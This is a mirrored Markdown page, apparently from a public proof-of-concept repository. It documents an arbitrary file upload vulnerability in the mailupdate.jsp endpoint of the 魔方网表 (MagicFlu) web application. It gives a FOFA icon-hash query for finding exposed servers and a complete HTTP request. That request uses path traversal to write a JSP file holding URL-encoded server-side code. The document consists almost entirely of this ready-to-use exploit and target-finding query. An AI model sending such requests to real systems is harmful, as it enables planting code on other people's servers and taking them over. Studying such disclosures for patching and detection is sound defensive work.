mirror of
https://github.com/adysec/POC.git
synced 2025-11-05 02:13:47 +00:00
20 lines
406 B
Markdown
20 lines
406 B
Markdown
|
## 魔方网表mailupdate.jsp接口存在任意文件上传漏洞
|
||
|
|
|
||
|
|
|
||
|
|
## fofa
|
||
|
|
```
|
||
|
|
icon_hash="694014318"
|
||
|
|
|
||
|
|
```
|
||
|
|
|
||
|
|
|
||
|
|
## poc
|
||
|
|
```
|
||
|
|
GET /magicflu/html/mail/mailupdate.jsp?messageid=/../../../test1.jsp&messagecontent=%3C%25+out.println%28%22tteesstt1%22%29%3B%25%3E HTTP/1.1
|
||
|
|
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
|
||
|
|
Accept-Encoding: gzip, deflate
|
||
|
|
Accept: */*
|
||
|
|
Connection: close
|
||
|
|
Host: 127.0.0.1
|
||
|
|
```
|